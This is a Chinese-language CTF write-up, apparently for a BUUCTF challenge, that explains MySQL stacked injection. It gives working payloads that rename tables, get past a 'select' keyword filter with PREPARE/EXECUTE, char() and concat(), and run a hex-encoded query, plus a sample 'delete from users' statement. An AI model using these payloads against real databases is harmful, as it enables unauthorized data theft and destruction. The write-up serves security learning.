堆疊注入--隨便注

Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 語句(多條)一起執行。而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令行中, 每一條語句結尾加; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做 stacked injection。

堆疊注入可以執行任何人sql語句。但是當API或數據庫引擎的不支持,堆疊注入就不能進行啦。

執行查詢時,第一個語句執行信息查詢,第二個語句則將表user的所有內容給刪除了。

mysql> select * from users where id =1;delete from users;

第一種解題方法:(重命名)

1、使用or把所有表的數據查詢出來:
在這裏插入圖片描述2、用select查詢數據庫時,發現過濾字符:
在這裏插入圖片描述3、使用show把數據庫列出來:

在這裏插入圖片描述

4、show可以使用,緊接着列出表名:
在這裏插入圖片描述
5、查看兩個表的結構,發現flag在1919810931114514表裏:
(1919810931114514必須用反單引號括起來,但是words不需要)
在這裏插入圖片描述

6、因爲可以堆疊查詢,這時候就想到了一個改名的方法,把words隨便改成words1,然後把1919810931114514改成words,再把列名flag改成id,結合上面的1’ or 1=1#爆出表所有內容就可以查flag啦

payload:


 1';rename table words to words1;rename table `1919810931114514`
       to words;alter table words change flag id varchar(100) CHARACTER
       SET utf8 COLLATE utf8_general_ci NOT NULL;desc  words;#

7、再用一下一開始的操作id=1’ or 1=1#
在這裏插入圖片描述

第二種解題方法:(預處理語句)

預處理語句使用方式:

PREPARE name from '[my sql sequece]';   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE name;  //刪除預定義SQL        語句

預定義語句也可以通過變量進行傳遞:

SET @tn = 'hahaha';  //存儲表名
SET @sql = concat('select * from ', @tn);  //存儲SQL語句
PREPARE name from @sql;   //預定義SQL語句
EXECUTE name;  //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla;  //刪除預定義SQL語句

本題即可利用 char() 函數將select的ASCII碼轉換爲select字符串,接着利用concat()函數進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函數拼接select來繞過。

char(115,101,108,101,99,116)<----->‘select’

payloads如下:


 1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from
    `1919810931114514` ');EXECUTE hacker;#

 1';SET @sqli=concat(char(115,101,108,101,99,116),'* from
    `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#
    
 1';PREPARE hacker from concat('s','elect', ' * from
    `1919810931114514` ');EXECUTE hacker;#

依此執行即可獲得flag

第三種解題方法:(編碼)

從獲得表名開始,前幾步解決方法都一樣。這個方法不再細說

因爲猜測falg在表1919810931114514中,

因爲select被過濾了,所以先將

在這裏插入圖片描述
進行16進制編碼

再通過構造payload,得http://677a0eb4-6c6d-4514-b3bb-eacb38a3a347.node1.buuoj.cn?inject=1’;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

進而得到flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章